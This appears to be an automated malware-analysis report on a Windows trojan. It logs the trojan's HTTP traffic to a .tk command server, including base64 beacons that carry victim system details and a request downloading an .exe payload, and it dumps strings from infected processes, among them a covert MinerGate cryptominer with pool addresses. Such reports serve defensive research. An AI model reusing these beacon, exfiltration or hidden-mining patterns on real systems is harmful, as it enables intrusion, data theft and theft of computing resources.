nhPU0N1cnJlbnREaXJlY3RvcnkiOiJEOlxcIiwieE9TTGFuZ3VhZ2UiOiJlbiIsInhPU0FyY2hpdGVjdHVyZSI6IjMyIiwieE9TUHJvZHVjdE5hbWUiOiJXaW5kb3dzIDcgVWx0aW1hdGUifQ,, HTTP/1.1


Host: rxxfrnpzgysuojx.tk


HTTP/1.1 200 OK
Date: Mon, 22 May 2017 07:44:14 GMT
Content-Type: text/xml; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=d5122a75d2f51c4cbcdbe39dcd5c576eb1495439052; expires=Tue, 22-May-18 07:44:12 GMT; path=/; domain=.rxxfrnpzgysuojx.tk; HttpOnly
Vary: Accept-Encoding
Cache-Control: max-age=1
Expires: Mon, 22 May 2017 07:44:13 GMT
Server: cloudflare-nginx
CF-RAY: 362e261f14e84f44-DME
64..<?xml version="1.0" encoding="utf-8"?>.<root>.<hash
>33d223abd7913f86bf62ad5a7407e96f</hash>.</root>...0..<
/font>....


GET /builds/f98e814b1ee5dfe36f5c4182bd58b2f8.exe HTTP/1.1


Host: rxxfrnpzgysuojx.tk


HTTP/1.1 200 OK
Date: Mon, 22 May 2017 07:44:14 GMT
Content-Type: application/octet-stream
Content-Length: 37391703
Connection: keep-alive
Set-Cookie: __cfduid=d3d2fc16e412443a1b41991a7e0c41c4d1495439054; expires=Tue, 22-May-18 07:44:14 GMT; path=/; domain=.rxxfrnpzgysuojx.tk; HttpOnly
Last-Modified: Thu, 11 May 2017 10:42:25 GMT
ETag: "23a8d57-54f3d3e9de8ce;54f408611e630"
Accept-Ranges: bytes
Cache-Control: max-age=1
Expires: Mon, 22 May 2017 07:44:15 GMT
Server: cloudflare-nginx
CF-RAY: 362e2627910a4f44-DME
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........gQ!..?r..?r
..?rj..r..?rj..rU.?rj..r..?r.[<s..?r.[;s..?r.[:s..?r.~.r..?r.~.r..?
r..>r&.?r.[:s..?r.[?s..?r.[.r..?r.[=s..?rRich..?r........PE..L.....
wW..........................................@.........................
..........:...@.........................`}..4....}..(........G........
...................^..T...............................@...............
....,s.. ....................text............................... ..`.r
data..............................@..@.data................~..........
....@....gfids..............................@..@.rsrc....G.......H....
..............@..@.reloc........... ..................@..B............
......................................................................
......................................................................
......................................................................
..................................................U...M.VW.}...u..O .E
..G0.E..G4.G.PWh#.@.Q.i..........t.~.............O....PQj.W........_..
^].U...u..E..u..u..p..p..`........~.........].U..V.u..v..v.......f...f
..YY^].U...E.3.V...B...t......J...B..u. ..M..B..a...a...1.A.^].U...E.V
W3....B.....t......J.f.....f;.u. ....M...U.....y..y._.1.A.^].U...E(..t
j.M..U.S.].W.} ...t*...u(..t....A..........M..H..M..H..X..x.... ..M.V.
p0..t..p4.u$WSQ.u...R.u..u........^_[].$.U...E..E.t-.U..J..B.#M.#E...t
..B..J.#E.#M.;B.u.;J.t.2.]...].U.......aC..U...V.u...(aC..........
<<< skipped >>>

GET /installer/launches?eyJ4SGFzaFJlcXVlc3QiOiJmNWJiNTViY2RjMzZmNzY4Zjc5ODIxN2UxYTk0Zjk1ZCIsInhIYXNoU3RhcnQiOiI1ZDgzYzE0NjY4YjBkM2UyZWRlNzFhZTVmNjFlMWI0YyIsInhIYXNoRG93bmxvYWQiOiIzM2QyMjNhYmQ3OTEzZjg2YmY2MmFkNWE3NDA3ZTk2ZiIsInhIYXNoTGF1bmNoZSI6IiIsInhIYXNoV29yayI6IiIsInhIYXNoSW5zdGFsbCI6IiIsInhIYXNoRmFpbHVyZSI6IiIsInhIYXNoUHJvZHVjdCI6IjBiMWM1YzNkYzY1Y2YxNzIxNzM0ODY5NDE1NWUxZmQxIiwieE1hY2hpbmVJRCI6Ijk5OGYtMWM4MC1iNDQyLTUzNzAtNWFlZC02MDA2LWNlYjMtODc1NyIsInhPU1ZlcnNpb25NYWpvciI6IjYiLCJ4T1NWZXJzaW9uTWlub3IiOiIxIiwieE9TVmVyc2lvblN0cmluZyI6Ik1pY3Jvc29mdCBXaW5kb3dzIE5UIDYuMS43NjAxIFNlcnZpY2UgUGFjayAxIiwieE9TVmVyc2lvbiI6IjYuMS43NjAxLjY1NTM2IiwieE9TU2VydmljZVBhY2siOiJTZXJ2aWNlIFBhY2sgMSIsInhPU1JldmlzaW9uIjoiNTQ1NiIsInhPU0J1aWxkIjoiNTA3MjciLCJ4T1NVc2VyTmFtZSI6ImFkbSIsInhPU01hY2hpbmVOYW1lIjoiV0lOLVVLMEZGT084M0k2IiwieE9TQ3VycmVudERpcmVjdG9yeSI6IkQ6XFwiLCJ4T1NMYW5ndWFnZSI6ImVuIiwieE9TQXJjaGl0ZWN0dXJlIjoiMzIiLCJ4T1NQcm9kdWN0TmFtZSI6IldpbmRvd3MgNyBVbHRpbWF0ZSJ9 HTTP/1.1


Host: rxxfrnpzgysuojx.tk


HTTP/1.1 200 OK
Date: Mon, 22 May 2017 07:44:23 GMT
Content-Type: text/xml; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=da84bc240360b6615ef7e5f2717652fe21495439061; expires=Tue, 22-May-18 07:44:21 GMT; path=/; domain=.rxxfrnpzgysuojx.tk; HttpOnly
Vary: Accept-Encoding
Cache-Control: max-age=1
Expires: Mon, 22 May 2017 07:44:23 GMT
Server: cloudflare-nginx
CF-RAY: 362e265941374f44-DME
64..<?xml version="1.0" encoding="utf-8"?>.<root>.<hash
>4f37848e1df6c0db2a7b39ae4b742ad1</hash>.</root>...0..<
/font>....


GET /installer/works?eyJ4SGFzaFJlcXVlc3QiOiJmNWJiNTViY2RjMzZmNzY4Zjc5ODIxN2UxYTk0Zjk1ZCIsInhIYXNoU3RhcnQiOiI1ZDgzYzE0NjY4YjBkM2UyZWRlNzFhZTVmNjFlMWI0YyIsInhIYXNoRG93bmxvYWQiOiIzM2QyMjNhYmQ3OTEzZjg2YmY2MmFkNWE3NDA3ZTk2ZiIsInhIYXNoTGF1bmNoZSI6IjRmMzc4NDhlMWRmNmMwZGIyYTdiMzlhZTRiNzQyYWQxIiwieEhhc2hXb3JrIjoiIiwieEhhc2hJbnN0YWxsIjoiIiwieEhhc2hGYWlsdXJlIjoiIiwieEhhc2hQcm9kdWN0IjoiMGIxYzVjM2RjNjVjZjE3MjE3MzQ4Njk0MTU1ZTFmZDEiLCJ4TWFjaGluZUlEIjoiOTk4Zi0xYzgwLWI0NDItNTM3MC01YWVkLTYwMDYtY2ViMy04NzU3IiwieE9TVmVyc2lvbk1ham9yIjoiNiIsInhPU1ZlcnNpb25NaW5vciI6IjEiLCJ4T1NWZXJzaW9uU3RyaW5nIjoiTWljcm9zb2Z0IFdpbmRvd3MgTlQgNi4xLjc2MDEgU2VydmljZSBQYWNrIDEiLCJ4T1NWZXJzaW9uIjoiNi4xLjc2MDEuNjU1MzYiLCJ4T1NTZXJ2aWNlUGFjayI6IlNlcnZpY2UgUGFjayAxIiwieE9TUmV2aXNpb24iOiI1NDU2IiwieE9TQnVpbGQiOiI1MDcyNyIsInhPU1VzZXJOYW1lIjoiYWRtIiwieE9TTWFjaGluZU5hbWUiOiJXSU4tVUswRkZPTzgzSTYiLCJ4T1NDdXJyZW50RGlyZWN0b3J5IjoiRDpcXCIsInhPU0xhbmd1YWdlIjoiZW4iLCJ4T1NBcmNoaXRlY3R1cmUiOiIzMiIsInhPU1Byb2R1Y3ROYW1lIjoiV2luZG93cyA3IFVsdGltYXRlIn0, HTTP/1.1


Host: rxxfrnpzgysuojx.tk


HTTP/1.1 200 OK
Date: Mon, 22 May 2017 07:44:24 GMT
Content-Type: text/xml; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=d96b64bb2f792cfe7a18082b6c68f431f1495439063; expires=Tue, 22-May-18 07:44:23 GMT; path=/; domain=.rxxfrnpzgysuojx.tk; HttpOnly
Vary: Accept-Encoding
Cache-Control: max-age=1
Expires: Mon, 22 May 2017 07:44:24 GMT
Server: cloudflare-nginx
CF-RAY: 362e2660d4fa4f44-DME
64..<?xml version="1.0" encoding="utf-8"?>.<root>.<hash
>1ae000589f6372be7295db1d49cc6324</hash>.</root>...0..H
TTP/1.1 200 OK..Date: Mon, 22 May 2017 07:44:24 GMT..Content-Type: tex
t/xml; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-ali
ve..Set-Cookie: __cfduid=d96b64bb2f792cfe7a18082b6c68f431f1495439063; 
expires=Tue, 22-May-18 07:44:23 GMT; path=/; domain=.rxxfrnpzgysuojx.t
k; HttpOnly..Vary: Accept-Encoding..Cache-Control: max-age=1..Expires:
 Mon, 22 May 2017 07:44:24 GMT..Server: cloudflare-nginx..CF-RAY: 362e
2660d4fa4f44-DME..64..<?xml version="1.0" encoding="utf-8"?>.<
;root>.<hash>1ae000589f6372be7295db1d49cc6324</hash>.&l
t;/root>...0......


GET /installer/installs?eyJ4SGFzaFJlcXVlc3QiOiJmNWJiNTViY2RjMzZmNzY4Zjc5ODIxN2UxYTk0Zjk1ZCIsInhIYXNoU3RhcnQiOiI1ZDgzYzE0NjY4YjBkM2UyZWRlNzFhZTVmNjFlMWI0YyIsInhIYXNoRG93bmxvYWQiOiIzM2QyMjNhYmQ3OTEzZjg2YmY2MmFkNWE3NDA3ZTk2ZiIsInhIYXNoTGF1bmNoZSI6IjRmMzc4NDhlMWRmNmMwZGIyYTdiMzlhZTRiNzQyYWQxIiwieEhhc2hXb3JrIjoiMWFlMDAwNTg5ZjYzNzJiZTcyOTVkYjFkNDljYzYzMjQiLCJ4SGFzaEluc3RhbGwiOiIiLCJ4SGFzaEZhaWx1cmUiOiIiLCJ4SGFzaFByb2R1Y3QiOiIwYjFjNWMzZGM2NWNmMTcyMTczNDg2OTQxNTVlMWZkMSIsInhNYWNoaW5lSUQiOiI5OThmLTFjODAtYjQ0Mi01MzcwLTVhZWQtNjAwNi1jZWIzLTg3NTciLCJ4T1NWZXJzaW9uTWFqb3IiOiI2IiwieE9TVmVyc2lvbk1pbm9yIjoiMSIsInhPU1ZlcnNpb25TdHJpbmciOiJNaWNyb3NvZnQgV2luZG93cyBOVCA2LjEuNzYwMSBTZXJ2aWNlIFBhY2sgMSIsInhPU1ZlcnNpb24iOiI2LjEuNzYwMS42NTUzNiIsInhPU1NlcnZpY2VQYWNrIjoiU2VydmljZSBQYWNrIDEiLCJ4T1NSZXZpc2lvbiI6IjU0NTYiLCJ4T1NCdWlsZCI6IjUwNzI3IiwieE9TVXNlck5hbWUiOiJhZG0iLCJ4T1NNYWNoaW5lTmFtZSI6IldJTi1VSzBGRk9PODNJNiIsInhPU0N1cnJlbnREaXJlY3RvcnkiOiJEOlxcIiwieE9TTGFuZ3VhZ2UiOiJlbiIsInhPU0FyY2hpdGVjdHVyZSI6IjMyIiwieE9TUHJvZHVjdE5hbWUiOiJXaW5kb3dzIDcgVWx0aW1hdGUifQ,, HTTP/1.1


Host: rxxfrnpzgysuojx.tk


HTTP/1.1 200 OK
Date: Mon, 22 May 2017 07:44:27 GMT
Content-Type: text/xml; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=d24097a067fa8fc9dc705ac8d2194b8f61495439065; expires=Tue, 22-May-18 07:44:25 GMT; path=/; domain=.rxxfrnpzgysuojx.tk; HttpOnly
Vary: Accept-Encoding
Cache-Control: max-age=1
Expires: Mon, 22 May 2017 07:44:26 GMT
Server: cloudflare-nginx
CF-RAY: 362e266d12a04f44-DME
64..<?xml version="1.0" encoding="utf-8"?>.<root>.<hash
>62e8819000eeeae75ef90a98448d26c7</hash>.</root>...0..<
/font>....


GET /installer/finishes?eyJ4SGFzaFJlcXVlc3QiOiJmNWJiNTViY2RjMzZmNzY4Zjc5ODIxN2UxYTk0Zjk1ZCIsInhIYXNoU3RhcnQiOiI1ZDgzYzE0NjY4YjBkM2UyZWRlNzFhZTVmNjFlMWI0YyIsInhIYXNoRG93bmxvYWQiOiIiLCJ4SGFzaExhdW5jaGUiOiIiLCJ4SGFzaFdvcmsiOiIiLCJ4SGFzaEluc3RhbGwiOiIiLCJ4SGFzaEZhaWx1cmUiOiIiLCJ4SGFzaFByb2R1Y3QiOiJkMTQzZDEyZTgwYjZkM2E3YzE4NmNmZmRlNjNlNmY0NSIsInhNYWNoaW5lSUQiOiI5OThmLTFjODAtYjQ0Mi01MzcwLTVhZWQtNjAwNi1jZWIzLTg3NTciLCJ4T1NWZXJzaW9uTWFqb3IiOiI2IiwieE9TVmVyc2lvbk1pbm9yIjoiMSIsInhPU1ZlcnNpb25TdHJpbmciOiJNaWNyb3NvZnQgV2luZG93cyBOVCA2LjEuNzYwMSBTZXJ2aWNlIFBhY2sgMSIsInhPU1ZlcnNpb24iOiI2LjEuNzYwMS42NTUzNiIsInhPU1NlcnZpY2VQYWNrIjoiU2VydmljZSBQYWNrIDEiLCJ4T1NSZXZpc2lvbiI6IjU0NTYiLCJ4T1NCdWlsZCI6IjUwNzI3IiwieE9TVXNlck5hbWUiOiJhZG0iLCJ4T1NNYWNoaW5lTmFtZSI6IldJTi1VSzBGRk9PODNJNiIsInhPU0N1cnJlbnREaXJlY3RvcnkiOiJEOlxcIiwieE9TTGFuZ3VhZ2UiOiJlbiIsInhPU0FyY2hpdGVjdHVyZSI6IjMyIiwieE9TUHJvZHVjdE5hbWUiOiJXaW5kb3dzIDcgVWx0aW1hdGUifQ,, HTTP/1.1


Host: rxxfrnpzgysuojx.tk


HTTP/1.1 200 OK
Date: Mon, 22 May 2017 07:44:27 GMT
Content-Type: text/xml; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=dc478148a42da4b05e19582cede6177751495439067; expires=Tue, 22-May-18 07:44:27 GMT; path=/; domain=.rxxfrnpzgysuojx.tk; HttpOnly
Vary: Accept-Encoding
Cache-Control: max-age=1
Expires: Mon, 22 May 2017 07:44:28 GMT
Server: cloudflare-nginx
CF-RAY: 362e267b71dd4f44-DME
64..<?xml version="1.0" encoding="utf-8"?>.<root>.<hash
>d6db6fa07d75e9f53d93e83becf61c06</hash>.</root>...0..

The Trojan connects to the servers at the folowing location(s):

wscript.exe_2172:

.text
`.data
.rsrc
@.reloc
ADVAPI32.dll
KERNEL32.dll
NTDLL.DLL
USER32.dll
msvcrt.dll
OLEAUT32.dll
ole32.dll
VERSION.dll
iu2.iu3;ku_
advapi32.dll
wscript.exe
kernel32.dll
%s%s.DLL
wintrust.dll
%d.%d
Invalid parameter passed to C runtime function.
SOFTWARE\Classes\%s\%s
0x%8X
CreateURLMonikerEx
urlmon.dll
@@8X%u
RegCreateKeyA
RegCloseKey
RegOpenKeyA
RegDeleteKeyA
RegCreateKeyExW
RegCreateKeyExA
RegOpenKeyExW
ReportEventW
RegEnumKeyExA
RegOpenKeyExA
GetProcessHeap
GetCPInfo
MsgWaitForMultipleObjects
EnumThreadWindows
wscript.pdb
stdole2.tlbWWW
.ObjectWW
KeyW
WindowsFolderWWW4
%CopyFolderWWL
Windows Script Host (Ver 5.6)W)
Windows Script Host Application InterfaceW%
Windows Script Host Object
ebstrCmdLineW
1.191>1[1
: :$:(:,:0:4:8:<:
Software\Microsoft\Windows Script Host\Settings
Windows Script Host
WScript.CreateObject
WSHRemote.Execute
Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}
.\%s.mui
.\%s\%s.mui
%s\%s.mui
%s\%s\%s.mui
%s\%s
Windows Based Script Host
5.8.7600.16385
Windows Script Host
(Windows Script Host (debugging disabled)
Windows Script Host Error
Windows Script Host Input Error
This Unicode version of Windows Script Host will only execute under Windows NT.
Please use the ANSI version of Windows Script Host."
WScript execution time was exceeded on script "%1!ls!".
Script execution was terminated.1Could not locate automation class named "%1!ls!".
Could not connect object.'Could not create object named "%1!ls!".1Initialization of the Windows Script Host failed.6Can't find script engine "%2!ls!" for script "%1!ls!".!Can't change default script host.=An attempt at saving your settings via the //S option failed.(Loading script "%1!ls!" failed (%2!ls!).
Loading your settings failed.,Execution of the Windows Script Host failed.,Unexpected error of the Windows Script Host._Windows Script Host access is disabled on this machine. Contact your administrator for details.<Attempt to execute Windows Script Host while it is disabled.SAttempt to execute Windows Script Host remotely while remote execution is disabled.
Missing job name.*Unicode is not supported on this platform.
<The Windows Script Host settings have been reset to default.
Command line options are saved.4The default script host is now set to "wscript.exe".4The default script host is now set to "cscript.exe".,Successful execution of Windows Script Host.3Successful remote execution of Windows Script Host.
Win32 Error 0x%X
Windows Script Host(Windows Script Host (debugging disabled)
Usage: WScript scriptname.extension [option...] [arguments...]
Use engine for executing script
Changes the default script host to CScript.exe
Changes the default script host to WScript.exe (default)
Prevent logo display: No banner will be shown at execution time
#WScript Error - Windows Script Host!Input Error - Windows Script HostlThis Unicode version of WScript will only execute under Windows NT.
%6!ls! WScript - Script Execution Error!Windows Script Host Remote Script/Remote script object can only be executed once. Unable to execute remote script.

conhost.exe_556:

.text
`.data
.rsrc
@.reloc
GDI32.dll
USER32.dll
msvcrt.dll
ntdll.dll
API-MS-Win-Core-LocalRegistry-L1-1-0.dll
KERNEL32.dll
IMM32.dll
ole32.dll
OLEAUT32.dll
PutInputInBuffer: EventsWritten != 1 (0x%x), 1 expected
Invalid message 0x%x
InitExtendedEditKeys: Unsupported version number(%d)
Console init failed with status 0x%x
CreateWindowsWindow failed with status 0x%x, gle = 0x%x
InitWindowsStuff failed with status 0x%x (gle = 0x%x)
InitSideBySide failed create an activation context. Error: %d
GetModuleFileNameW requires more than ScratchBufferSize(%d) - 1.
GetModuleFileNameW failed %d.
Invalid EventType: 0x%x
Dup handle failed for %d of %d (Status = 0x%x)
Couldn't grow input buffer, Status == 0x%x
InitializeScrollBuffer failed, Status = 0x%x
CreateWindow failed with gle = 0x%x
Opening Font file failed with error 0x%x
\ega.cpi
NtReplyWaitReceivePort failed with Status 0x%x
ConsoleOpenWaitEvent failed with Status 0x%x
NtCreatePort failed with Status 0x%x
GetCharWidth32 failed with error 0x%x
GetTextMetricsW failed with error 0x%x
GetSystemEUDCRangeW: RegOpenKeyExW(%ws) failed, error = 0x%x
RtlStringCchCopy failed with Status 0x%x
Cannot allocate 0n%d bytes
|%SWj
O.fBf;
ReCreateDbcsScreenBuffer failed. Restoring to CP=%d
Invalid Parameter: 0x%x, 0x%x, 0x%x
ConsoleKeyInfo buffer is full
Invalid screen buffer size (0x%x, 0x%x)
SetROMFontCodePage: failed to memory allocation %d bytes
FONT.NT
Failed to set font image. wc=x, sz=(%x,%x)
Failed to set font image. wc=x sz=(%x, %x).
Failed to set font image. wc=x sz=(%x,%x)
FullscreenControlSetColors failed - Status = 0x%x
FullscreenControlSetPalette failed - Status = 0x%x
WriteCharsFromInput failed 0x%x
WriteCharsFromInput failed %x
RtlStringCchCopyW failed with Status 0x%x
CreateFontCache failed with Status 0x%x
FTPh
\>.Sj
GetKeyboardLayout
MapVirtualKeyW
VkKeyScanW
GetKeyboardState
UnhookWindowsHookEx
SetWindowsHookExW
GetKeyState
ActivateKeyboardLayout
GetKeyboardLayoutNameA
GetKeyboardLayoutNameW
_amsg_exit
_acmdln
ShipAssert
NtReplyWaitReceivePort
NtCreatePort
NtEnumerateValueKey
NtQueryValueKey
NtOpenKey
NtAcceptConnectPort
NtReplyPort
SetProcessShutdownParameters
GetCPInfo
conhost.pdb
%$%a%b%V%U%c%Q%W%]%\%[%
%<%^%_%Z%T%i%f%`%P%l%g%h%d%e%Y%X%R%S%k%j%
version="5.1.0.0"
name="Microsoft.Windows.ConsoleHost"
<requestedExecutionLevel
name="Microsoft.Windows.ConsoleHost.SystemDefault"
publicKeyToken="6595b64144ccf1df"
name="Microsoft.Windows.SystemCompatible"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
< =$>:>@>
2%2X2
%SystemRoot%
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Console\TrueTypeFont
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Console\FullScreen
WindowSize
ColorTableu
ExtendedEditkeyCustom
ExtendedEditKey
Software\Microsoft\Windows\CurrentVersion
\ !:=/.<>;|&
%d/%d
cmd.exe
desktop.ini
\console.dll
%d/%d
6.1.7601.17641 (win7sp1_gdr.110623-1503)
CONHOST.EXE
Windows
Operating System
6.1.7601.17641

svchost.exe_592:

.text
`.rdata
@.data
.nv_fatb
.nvFatBi
.rsrc
@.reloc
}.SVW
..\..\..\..\sources\miner-console-application\src\main.cpp
minergate-cli [-version] -user <email> [-proxy <url>] -<currency> <threads> [<gpu intensity>] [-<currency> <threads> [<gpu intensity>] ...] [-o <pool> -u <login> [-t <threads>] [-i <gpu intensity>]]
account email from minergate.com
proxy server URL. Supports only socks protocols (for example: socks://192.168.0.1:1080
mining pool URL
mining pool login
minergate-cli -user minergate@minergate.com -proxy socks://192.168.0.1:1080 -bcn 4
minergate-cli -user minergate@minergate.com -proxy socks://192.168.0.1:1080 -xmr 2 -o stratum tcp://sbk.extremepool.org:5555 -u SbLi3ddQ7DWWs4EA3Rtqf6JNtfTVJHRzGXNUtiaACRXFEkQ9u8h9Gf9SYPW5ugpJKYECZXczYfc1BV1mkH8sYdmF1MyRMSdSj -t 3 -i 2
minergate-cli -user minergate@minergate.com -bcn 0 2 -fcn xmr 3 -qcn 1
minergate-cli -user minergate@minergate.com -bcn 2 2 -fcn xmr 3 -o stratum tcp://oec.xminingpool.com:7555 -u C5JUSUFJfkbbqpJAcrR7wK7FdzLAwjn52DF3sD2tyH3fgH9x95nAWshapc3JxpsEPoPSvcPNWpwsjRhCuFyA4G9xNiQd4Jt -t 3
minergate-cli -o stratum tcp://sbk.extremepool.org:5555 -u SbLi3ddQ7DWWs4EA3Rtqf6JNtfTVJHRzGXNUtiaACRXFEkQ9u8h9Gf9SYPW5ugpJKYECZXczYfc1BV1mkH8sYdmF1MyRMSdSj -i 3
Incorrect proxy URL
Pool login missed
login
.lock
2criticalUpdatesAvailableSignal(QUrl)
httpPort
stratumPort
stratum tcp://%1:%2
minermanager-lock-9637ffb0-bbf9-11e3-a5e2-0800200c9a66
Windows
hXXps://minergate.com
password
Missing password
/api/2.2/auth/login
1loginResp(quint32, QByteArray, QVariant)
Login request URL: %1
..\..\..\..\sources\miner-core\src\serverapi.cpp
JSON error: %s
WrongEmailOrPassword
Error: %s
Balance request URL: %1
Payout request URL: %1
webPageUrl
Login response data: %1
LOGIN response: %1
WebSocket connected successfully!
client.info
WebSocket disconnected
channel:mining.stats.changes
channel:user.profile
workers.statuses
WebSocket message: %1
loginResp
_pool_url
_coin_key
127.0.0.1
--api-port
%1.log
%1://%2:%3
bfgminer.exe
miners.ini
minergate.log
void __thiscall MinerGate::Logger::infoMsg(const class QString &,const class QString &)
..\..\..\..\sources\utils\src\logger.cpp
void __thiscall MinerGate::Logger::warningMsg(const class QString &,const class QString &)
void __thiscall MinerGate::Logger::criticalMsg(const class QString &,const class QString &)
void __thiscall MinerGate::Logger::fatalMsg(const class QString &,const class QString &)
[%1] [%2] %3
yyyy-MM-dd HH:mm:ss.zzz
proxy-url
application/x-www-form-urlencoded
%1:%2:%3:%4
WebSocket API Proxy: %1 %2:%3
/websocket/
https
dev@minergate.com
startCpu
jsonrpc_request_login
jsonrpc_response_login
tryLogin
1login(QVariantMap)
2jsonrpc_response_login(QVariantMap)
1tryLogin()
StratumClient: Login ERROR
Failed to submit share! (msg="%1" id="%2" job_id="%3" nonce="%4" result="%5"), updating job...
Failed to login! (msg="%1"), disconnect and sleep...
Error! (msg="%1" code="%2" method="%3"), disconnect and sleep...
JsonRpc::TcpNetworkEngine
GPU #%d: result for fee nonce $X does not validate on CPU!
GPU #%d: result for nonce $X does not validate on CPU!
q>e%D#
tX4Fr.rh.46Aw-wl-6
.eK9K\9.
C:\Users\user\Documents\projects\minergate.app\build\win32-cli\RelWithDebInfo\minergate-cli.pdb
KERNEL32.dll
?qInstallMessageHandler@@YAP6AXW4QtMsgType@@ABVQMessageLogContext@@ABVQString@@@ZP6AX012@Z@Z
?exec@QCoreApplication@@SAHXZ
??1QUrl@@QAE@XZ
?toString@QUrl@@QBE?AVQString@@V?$QUrlTwoFlags@W4UrlFormattingOption@QUrl@@W4ComponentFormattingOption@2@@@@Z
?fromUserInput@QUrl@@SA?AV1@ABVQString@@@Z
?isEmpty@QUrl@@QBE_NXZ
?scheme@QUrl@@QBE?AVQString@@XZ
?host@QUrl@@QBE?AVQString@@V?$QFlags@W4ComponentFormattingOption@QUrl@@@@@Z
?port@QUrl@@QBEHH@Z
??0QUrl@@QAE@XZ
??0QUrl@@QAE@ABV0@@Z
??4QUrl@@QAEAAV0@ABV0@@Z
??8QUrl@@QBE_NABV0@@Z
??9QUrl@@QBE_NABV0@@Z
?toUrl@QVariant@@QBE?AVQUrl@@XZ
?windowsVersion@QSysInfo@@SA?AW4WinVersion@1@XZ
?exec@QEventLoop@@QAEHV?$QFlags@W4ProcessEventsFlag@QEventLoop@@@@@Z
??0QUrl@@QAE@ABVQString@@W4ParsingMode@0@@Z
??0QUrl@@QAE@$$QAV0@@Z
?setPath@QUrl@@QAEXABVQString@@W4ParsingMode@1@@Z
?QStringList_join@QtPrivate@@YA?AVQString@@PBVQStringList@@PBVQChar@@H@Z
?findExecutable@QStandardPaths@@SA?AVQString@@ABV2@ABVQStringList@@@Z
??0QVariant@@QAE@ABVQUrl@@@Z
?childKeys@QSettings@@QBE?AVQStringList@@XZ
?setScheme@QUrl@@QAEXABVQString@@@Z
?path@QUrl@@QBE?AVQString@@V?$QFlags@W4ComponentFormattingOption@QUrl@@@@@Z
Qt5Core.dll
?setPort@QNetworkProxy@@QAEXG@Z
??0QNetworkRequest@@QAE@ABVQUrl@@@Z
??0QTcpServer@@QAE@PAVQObject@@@Z
??1QTcpServer@@UAE@XZ
?listen@QTcpServer@@QAE_NABVQHostAddress@@G@Z
?close@QTcpServer@@QAEXXZ
?serverPort@QTcpServer@@QBEGXZ
?setProxy@QTcpServer@@QAEXABVQNetworkProxy@@@Z
?port@QNetworkProxy@@QBEGXZ
?createRequest@QNetworkAccessManager@@MAEPAVQNetworkReply@@W4Operation@1@ABVQNetworkRequest@@PAVQIODevice@@@Z
??0QTcpSocket@@QAE@PAVQObject@@@Z
??1QTcpSocket@@UAE@XZ
Qt5Network.dll
??0QWebSocket@@QAE@ABVQString@@W4Version@QWebSocketProtocol@@PAVQObject@@@Z
??1QWebSocket@@UAE@XZ
?proxy@QWebSocket@@QBE?AVQNetworkProxy@@XZ
?setProxy@QWebSocket@@QAEXABVQNetworkProxy@@@Z
?state@QWebSocket@@QBE?AW4SocketState@QAbstractSocket@@XZ
?sendTextMessage@QWebSocket@@QAE_JABVQString@@@Z
?close@QWebSocket@@QAEXW4CloseCode@QWebSocketProtocol@@ABVQString@@@Z
?open@QWebSocket@@QAEXABVQUrl@@@Z
Qt5WebSockets.dll
cudart32_60.dll
MSVCP110.dll
MSVCR110.dll
_calloc_crt
_amsg_exit
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
__crtSetUnhandledExceptionFilter
minergate-cli.exe
?coinKey@AbstractMinerEngine@MinerGate@@QBE?AVQString@@XZ
?defFeePoolChanged@CNBaseEngine@MinerGate@@AAEXABVQUrl@@@Z
?setCpuCores@AbstractMinerEngine@MinerGate@@QAEXI@Z
?setCpuCoresImpl@CNBaseEngine@MinerGate@@MAEXI@Z
?setCpuCoresImpl@ScryptBaseEngine@MinerGate@@MAEXI@Z
?startCpu@AbstractMinerEngine@MinerGate@@QAEXI@Z
?startCpuImpl@CNBaseEngine@MinerGate@@MAEXI@Z
?startCpuImpl@ScryptBaseEngine@MinerGate@@MAEXI@Z
.?AVTcpNetworkEngine@JsonRpc@@
t44Fr.rh.66Aw-wl-
..eK9K\9
.44Fr.rh-66Aw-wl
9..eK9K\W
h.44Fr.rl-66Aw-w
O\9..eK9K=W
trh.44Fr.wl-66Aw-
K\9..eK9
.rh.44Fr-wl-66Aw
O9K\9..eKW
r.rh.44Fw-wl-66A
tXXFr.rh.44Aw-wl-66
C:/Users/user/Documents/projects/minergate.app/sources/cudaminer/src/cuda_cryptonight_core.cu
{ 6;'67'
A.EK)W
.shstrtab
.strtab
.symtab
.text._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx
.nv.info._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx
.nv.shared._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx
.nv.info
.nv.constant0._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx
.text._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx
.nv.info._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx
.nv.shared._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx
.nv.constant0._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx
.text._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx
.nv.info._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx
.nv.shared._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx
.nv.constant0._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx
.nv.constant2
I).rl|
.nv.constant3
g%XTkZ
`zC:/Users/user/Documents/projects/minergate.app/sources/cudaminer/src/cuda_cryptonight_core.cu
H80.Gc
C:/Users/user/Documents/projects/minergate.app/sources/cudaminer/src/cuda_cryptonight_extra.cu
.IILh
..ax$
.QH4y
M%U1.
Yy.iu
Lo7%Dx'J{Hy
Ä[dw
.Tsv2
]QCwEBwE
$3.YuA
%ctcIB
`.eBh.
3I.IY
o.xiK
